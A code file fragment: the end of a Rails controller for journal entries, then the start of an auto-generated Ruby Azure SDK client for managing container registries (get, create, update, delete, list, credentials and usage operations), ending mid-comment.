f.html { render :index }
f.json { render json: @entries }
end
end
def new
@entry = Entry.new
end
def create
@entry = Entry.new(entry_params)
if @entry.save
# respond_to do |f|
# f.html { redirect_to entries_path }
render json: @entry, status:201
else
render 'new'
end
end
def edit
set_entry
end
def update
set_entry
if @entry.update(entry_params)
redirect_to @entry
else
render 'edit'
end
end
def show
set_entry
respond_to do |format|
format.html { render :show }
format.json { render json: @entry}
end
end
def destroy
set_entry
@entry.destroy
redirect_to entries_path
end
private
def entry_params
params.require(:entry).permit(:title, :content, :mood)
end
def set_entry
@entry = Entry.find(params[:id])
end
end
| 15.521739 | 58 | 0.623716 |
1c4c3da32353d026ac55c4f0e9948609a8bec2ad | 90,063 | # Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::ContainerRegistry::Mgmt::V2017_10_01
#
# Registries
#
class Registries
include MsRestAzure
#
# Creates and initializes a new instance of the Registries class.
# @param client service class for accessing basic functionality.
#
def initialize(client)
@client = client
end
# @return [ContainerRegistryManagementClient] reference to the ContainerRegistryManagementClient
attr_reader :client
#
# Copies an image to this container registry from the specified container
# registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param parameters [ImportImageParameters] The parameters specifying the image
# to copy and the source container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
def import_image(resource_group_name, registry_name, parameters, custom_headers:nil)
response = import_image_async(resource_group_name, registry_name, parameters, custom_headers:custom_headers).value!
nil
end
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param parameters [ImportImageParameters] The parameters specifying the image
# to copy and the source container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Concurrent::Promise] promise which provides async access to http
# response.
#
def import_image_async(resource_group_name, registry_name, parameters, custom_headers:nil)
# Send request
promise = begin_import_image_async(resource_group_name, registry_name, parameters, custom_headers:custom_headers)
promise = promise.then do |response|
# Defining deserialization method.
deserialize_method = lambda do |parsed_response|
end
# Waiting for response.
@client.get_long_running_operation_result(response, deserialize_method)
end
promise
end
#
# Checks whether the container registry name is available for use. The name
# must contain only alphanumeric characters, be globally unique, and between 5
# and 50 characters in length.
#
# @param registry_name_check_request [RegistryNameCheckRequest] The object
# containing information for the availability request.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RegistryNameStatus] operation results.
#
def check_name_availability(registry_name_check_request, custom_headers:nil)
response = check_name_availability_async(registry_name_check_request, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Checks whether the container registry name is available for use. The name
# must contain only alphanumeric characters, be globally unique, and between 5
# and 50 characters in length.
#
# @param registry_name_check_request [RegistryNameCheckRequest] The object
# containing information for the availability request.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def check_name_availability_with_http_info(registry_name_check_request, custom_headers:nil)
check_name_availability_async(registry_name_check_request, custom_headers:custom_headers).value!
end
#
# Checks whether the container registry name is available for use. The name
# must contain only alphanumeric characters, be globally unique, and between 5
# and 50 characters in length.
#
# @param registry_name_check_request [RegistryNameCheckRequest] The object
# containing information for the availability request.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def check_name_availability_async(registry_name_check_request, custom_headers:nil)
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, 'registry_name_check_request is nil' if registry_name_check_request.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
# Serialize Request
request_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::RegistryNameCheckRequest.mapper()
request_content = @client.serialize(request_mapper, registry_name_check_request)
request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil
path_template = 'subscriptions/{subscriptionId}/providers/Microsoft.ContainerRegistry/checkNameAvailability'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'subscriptionId' => @client.subscription_id},
query_params: {'api-version' => @client.api_version},
body: request_content,
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:post, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::RegistryNameStatus.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Gets the properties of the specified container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Registry] operation results.
#
def get(resource_group_name, registry_name, custom_headers:nil)
response = get_async(resource_group_name, registry_name, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Gets the properties of the specified container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def get_with_http_info(resource_group_name, registry_name, custom_headers:nil)
get_async(resource_group_name, registry_name, custom_headers:custom_headers).value!
end
#
# Gets the properties of the specified container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def get_async(resource_group_name, registry_name, custom_headers:nil)
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MinLength': '1'" if !resource_group_name.nil? && resource_group_name.length < 1
fail ArgumentError, 'registry_name is nil' if registry_name.nil?
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MaxLength': '50'" if !registry_name.nil? && registry_name.length > 50
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MinLength': '5'" if !registry_name.nil? && registry_name.length < 5
fail ArgumentError, "'registry_name' should satisfy the constraint - 'Pattern': '^[a-zA-Z0-9]*$'" if !registry_name.nil? && registry_name.match(Regexp.new('^^[a-zA-Z0-9]*$$')).nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerRegistry/registries/{registryName}'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'registryName' => registry_name},
query_params: {'api-version' => @client.api_version},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:get, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::Registry.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Creates a container registry with the specified parameters.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param registry [Registry] The parameters for creating a container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Registry] operation results.
#
def create(resource_group_name, registry_name, registry, custom_headers:nil)
response = create_async(resource_group_name, registry_name, registry, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param registry [Registry] The parameters for creating a container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Concurrent::Promise] promise which provides async access to http
# response.
#
def create_async(resource_group_name, registry_name, registry, custom_headers:nil)
# Send request
promise = begin_create_async(resource_group_name, registry_name, registry, custom_headers:custom_headers)
promise = promise.then do |response|
# Defining deserialization method.
deserialize_method = lambda do |parsed_response|
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::Registry.mapper()
parsed_response = @client.deserialize(result_mapper, parsed_response)
end
# Waiting for response.
@client.get_long_running_operation_result(response, deserialize_method)
end
promise
end
#
# Deletes a container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
def delete(resource_group_name, registry_name, custom_headers:nil)
response = delete_async(resource_group_name, registry_name, custom_headers:custom_headers).value!
nil
end
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Concurrent::Promise] promise which provides async access to http
# response.
#
def delete_async(resource_group_name, registry_name, custom_headers:nil)
# Send request
promise = begin_delete_async(resource_group_name, registry_name, custom_headers:custom_headers)
promise = promise.then do |response|
# Defining deserialization method.
deserialize_method = lambda do |parsed_response|
end
# Waiting for response.
@client.get_long_running_operation_result(response, deserialize_method)
end
promise
end
#
# Updates a container registry with the specified parameters.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param registry_update_parameters [RegistryUpdateParameters] The parameters
# for updating a container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Registry] operation results.
#
def update(resource_group_name, registry_name, registry_update_parameters, custom_headers:nil)
response = update_async(resource_group_name, registry_name, registry_update_parameters, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param registry_update_parameters [RegistryUpdateParameters] The parameters
# for updating a container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Concurrent::Promise] promise which provides async access to http
# response.
#
def update_async(resource_group_name, registry_name, registry_update_parameters, custom_headers:nil)
# Send request
promise = begin_update_async(resource_group_name, registry_name, registry_update_parameters, custom_headers:custom_headers)
promise = promise.then do |response|
# Defining deserialization method.
deserialize_method = lambda do |parsed_response|
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::Registry.mapper()
parsed_response = @client.deserialize(result_mapper, parsed_response)
end
# Waiting for response.
@client.get_long_running_operation_result(response, deserialize_method)
end
promise
end
#
# Lists all the container registries under the specified resource group.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Array<Registry>] operation results.
#
def list_by_resource_group(resource_group_name, custom_headers:nil)
first_page = list_by_resource_group_as_lazy(resource_group_name, custom_headers:custom_headers)
first_page.get_all_items
end
#
# Lists all the container registries under the specified resource group.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def list_by_resource_group_with_http_info(resource_group_name, custom_headers:nil)
list_by_resource_group_async(resource_group_name, custom_headers:custom_headers).value!
end
#
# Lists all the container registries under the specified resource group.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def list_by_resource_group_async(resource_group_name, custom_headers:nil)
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MinLength': '1'" if !resource_group_name.nil? && resource_group_name.length < 1
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerRegistry/registries'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name},
query_params: {'api-version' => @client.api_version},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:get, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::RegistryListResult.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Lists all the container registries under the specified subscription.
#
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Array<Registry>] operation results.
#
def list(custom_headers:nil)
first_page = list_as_lazy(custom_headers:custom_headers)
first_page.get_all_items
end
#
# Lists all the container registries under the specified subscription.
#
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def list_with_http_info(custom_headers:nil)
list_async(custom_headers:custom_headers).value!
end
#
# Lists all the container registries under the specified subscription.
#
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def list_async(custom_headers:nil)
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/providers/Microsoft.ContainerRegistry/registries'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'subscriptionId' => @client.subscription_id},
query_params: {'api-version' => @client.api_version},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:get, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::RegistryListResult.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Lists the login credentials for the specified container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RegistryListCredentialsResult] operation results.
#
def list_credentials(resource_group_name, registry_name, custom_headers:nil)
response = list_credentials_async(resource_group_name, registry_name, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Lists the login credentials for the specified container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def list_credentials_with_http_info(resource_group_name, registry_name, custom_headers:nil)
list_credentials_async(resource_group_name, registry_name, custom_headers:custom_headers).value!
end
#
# Lists the login credentials for the specified container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def list_credentials_async(resource_group_name, registry_name, custom_headers:nil)
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MinLength': '1'" if !resource_group_name.nil? && resource_group_name.length < 1
fail ArgumentError, 'registry_name is nil' if registry_name.nil?
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MaxLength': '50'" if !registry_name.nil? && registry_name.length > 50
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MinLength': '5'" if !registry_name.nil? && registry_name.length < 5
fail ArgumentError, "'registry_name' should satisfy the constraint - 'Pattern': '^[a-zA-Z0-9]*$'" if !registry_name.nil? && registry_name.match(Regexp.new('^^[a-zA-Z0-9]*$$')).nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerRegistry/registries/{registryName}/listCredentials'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'registryName' => registry_name},
query_params: {'api-version' => @client.api_version},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:post, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::RegistryListCredentialsResult.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Regenerates one of the login credentials for the specified container
# registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param regenerate_credential_parameters [RegenerateCredentialParameters]
# Specifies name of the password which should be regenerated -- password or
# password2.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RegistryListCredentialsResult] operation results.
#
def regenerate_credential(resource_group_name, registry_name, regenerate_credential_parameters, custom_headers:nil)
response = regenerate_credential_async(resource_group_name, registry_name, regenerate_credential_parameters, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Regenerates one of the login credentials for the specified container
# registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param regenerate_credential_parameters [RegenerateCredentialParameters]
# Specifies name of the password which should be regenerated -- password or
# password2.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def regenerate_credential_with_http_info(resource_group_name, registry_name, regenerate_credential_parameters, custom_headers:nil)
regenerate_credential_async(resource_group_name, registry_name, regenerate_credential_parameters, custom_headers:custom_headers).value!
end
#
# Regenerates one of the login credentials for the specified container
# registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param regenerate_credential_parameters [RegenerateCredentialParameters]
# Specifies name of the password which should be regenerated -- password or
# password2.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def regenerate_credential_async(resource_group_name, registry_name, regenerate_credential_parameters, custom_headers:nil)
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MinLength': '1'" if !resource_group_name.nil? && resource_group_name.length < 1
fail ArgumentError, 'registry_name is nil' if registry_name.nil?
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MaxLength': '50'" if !registry_name.nil? && registry_name.length > 50
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MinLength': '5'" if !registry_name.nil? && registry_name.length < 5
fail ArgumentError, "'registry_name' should satisfy the constraint - 'Pattern': '^[a-zA-Z0-9]*$'" if !registry_name.nil? && registry_name.match(Regexp.new('^^[a-zA-Z0-9]*$$')).nil?
fail ArgumentError, 'regenerate_credential_parameters is nil' if regenerate_credential_parameters.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
# Serialize Request
request_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::RegenerateCredentialParameters.mapper()
request_content = @client.serialize(request_mapper, regenerate_credential_parameters)
request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerRegistry/registries/{registryName}/regenerateCredential'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'registryName' => registry_name},
query_params: {'api-version' => @client.api_version},
body: request_content,
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:post, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::RegistryListCredentialsResult.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Gets the quota usages for the specified container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RegistryUsageListResult] operation results.
#
def list_usages(resource_group_name, registry_name, custom_headers:nil)
response = list_usages_async(resource_group_name, registry_name, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Gets the quota usages for the specified container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def list_usages_with_http_info(resource_group_name, registry_name, custom_headers:nil)
list_usages_async(resource_group_name, registry_name, custom_headers:custom_headers).value!
end
#
# Gets the quota usages for the specified container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def list_usages_async(resource_group_name, registry_name, custom_headers:nil)
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MinLength': '1'" if !resource_group_name.nil? && resource_group_name.length < 1
fail ArgumentError, 'registry_name is nil' if registry_name.nil?
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MaxLength': '50'" if !registry_name.nil? && registry_name.length > 50
fail ArgumentError, "'registry_name' should satisfy the constraint - 'MinLength': '5'" if !registry_name.nil? && registry_name.length < 5
fail ArgumentError, "'registry_name' should satisfy the constraint - 'Pattern': '^[a-zA-Z0-9]*$'" if !registry_name.nil? && registry_name.match(Regexp.new('^^[a-zA-Z0-9]*$$')).nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerRegistry/registries/{registryName}/listUsages'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'registryName' => registry_name},
query_params: {'api-version' => @client.api_version},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:get, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::ContainerRegistry::Mgmt::V2017_10_01::Models::RegistryUsageListResult.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Lists the policies for the specified container registry.
#
# @param resource_group_name [String] The name of the resource group to which
# the container registry belongs.
# @param registry_name [String] The name of the container registry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
